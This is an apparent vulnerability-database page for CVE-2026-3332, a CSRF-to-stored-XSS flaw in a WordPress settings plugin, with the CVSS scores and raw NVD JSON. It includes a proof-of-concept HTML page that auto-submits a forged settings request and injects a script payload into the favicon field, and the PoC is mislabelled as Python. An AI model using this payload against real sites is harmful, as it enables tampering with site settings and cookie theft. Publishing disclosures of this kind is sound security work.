Security Vulnerability Report
中文
CVE-2026-3332 CVSS 4.3 MEDIUM

CVE-2026-3332

Published: 2026-03-21 04:17:20
Last Modified: 2026-04-24 16:27:44

Description

The Xhanch - My Advanced Settings plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.2. This is due to missing nonce validation in the `xms_setting()` function on the settings update handler. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Settings that can be modified include favicon URL, Google Analytics account ID, and various WordPress behavior toggles. The `favicon_url` and `ga_acc_id` values are output on the front-end without escaping, enabling a CSRF to Stored XSS chain.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Xhanch - My Advanced Settings <= 1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CSRF to Stored XSS in Xhanch Plugin --> <html> <body> <!-- Form targeting the vulnerable settings page --> <form action="http://target-site/wp-admin/admin.php?page=xhanch-my-advanced-settings" method="POST"> <input type="hidden" name="xms_setting" value="save" /> <!-- Injecting malicious JavaScript into favicon_url --> <input type="hidden" name="favicon_url" value='"><script>alert(document.cookie)</script><"' /> <input type="hidden" name="ga_acc_id" value="" /> <input type="submit" value="Click me!" /> </form> <script> // Auto-submit to simulate attack without user interaction on the button document.forms[0].submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3332", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:19.790", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Xhanch - My Advanced Settings plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.2. This is due to missing nonce validation in the `xms_setting()` function on the settings update handler. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Settings that can be modified include favicon URL, Google Analytics account ID, and various WordPress behavior toggles. The `favicon_url` and `ga_acc_id` values are output on the front-end without escaping, enabling a CSRF to Stored XSS chain."}, {"lang": "es", "value": "El plugin Xhanch - My Advanced Settings para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 1.1.2, inclusive. Esto se debe a la falta de validación de nonce en la función 'xms_setting()' en el gestor de actualización de configuraciones. Esto hace posible que atacantes no autenticados modifiquen las configuraciones del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace. Las configuraciones que pueden modificarse incluyen la URL del favicon, el ID de cuenta de Google Analytics y varios conmutadores de comportamiento de WordPress. Los valores 'favicon_url' y 'ga_acc_id' se muestran en el front-end sin escape, lo que permite una cadena de CSRF a XSS Almacenado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/xhanch-my-advanced-settings/tags/1.1.2/admin/setting.php#L10", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/xhanch-my-advanced-settings/trunk/admin/setting.php#L10", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/66dd73c5-1cf1-484e-b847-afe357fb2598?source=cve", "source": "[email protected]"}]}}